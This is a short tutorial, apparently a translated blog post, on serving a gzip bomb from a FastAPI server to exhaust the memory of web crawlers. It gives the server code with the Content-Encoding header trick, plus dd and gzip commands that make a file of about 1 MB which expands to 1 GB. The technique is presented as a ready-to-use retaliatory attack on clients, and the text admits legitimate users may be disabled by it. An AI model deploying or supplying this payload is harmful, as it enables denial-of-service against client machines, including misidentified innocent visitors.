How to Use Gzip Compression to Overload Web Crawlers (Gzip Bomb Tutorial)

Web site owners often suffer from aggressive crawlers that waste bandwidth and CPU; this article demonstrates a retaliatory technique that leverages the automatic gzip/deflate decoding performed by popular HTTP clients such as requests and Scrapy.

First, a simple text file text.txt is created and compressed with the gzip command to produce data.gz: cat text.txt | gzip > data.gz A minimal FastAPI server ( server.py) is then written to serve the compressed file:

from fastapi import FastAPI
from fastapi.responses import FileResponse
app = FastAPI()

@app.get('/')
def index():
    resp = FileResponse('data.gz')
    return resp

Running the server with uvicorn server:app and requesting the endpoint via requests returns garbled binary data because the response lacks a Content-Encoding: gzip header.

Adding the header fixes the display:

from fastapi import FastAPI
from fastapi.responses import FileResponse
app = FastAPI()

@app.get('/')
def index():
    resp = FileResponse('data.gz')
    resp.headers['Content-Encoding'] = 'gzip'  # indicate gzip compression
    return resp

With the header present, requests automatically decompresses the payload, turning a tiny .gz file into the original large content on the client side.

The compression principle is illustrated: a 192‑character string of repeated "1" can be represented by just five characters, achieving a 97.4% reduction. If a 1 GB file is compressed to 1 MB, the server sends only 1 MB, but the client must allocate the full 1 GB to decompress it, potentially exhausting memory.

Large gzip bombs can be generated with a single command. On Linux:

dd if=/dev/zero bs=1M count=1000 | gzip > boom.gz

On macOS:

dd if=/dev/zero bs=1048576 count=1000 | gzip > boom.gz

These commands create a ~995 KB boom.gz that expands to a 1 GB file when decompressed ( gzip -d boom.gz). Adjusting count yields larger or smaller bombs; a demonstration uses count=10 to produce a 10 KB gzip file that expands to 10 MB.

When the FastAPI endpoint serves this 10 KB gzip bomb, a requests call returns a Response object whose memory footprint is about 10 MB, confirming that automatic decompression can be abused to inflate memory usage.

Important caution: this method should only be applied when the request is confidently identified as coming from a crawler; otherwise legitimate users may be unintentionally disabled.

References:

Binary Response Content : https://2.python-requests.org/en/master/user/quickstart/#binary-response-content

网站gzip炸弹 – 王春伟的技术博客: http://da.dadaaierer.com/?p=577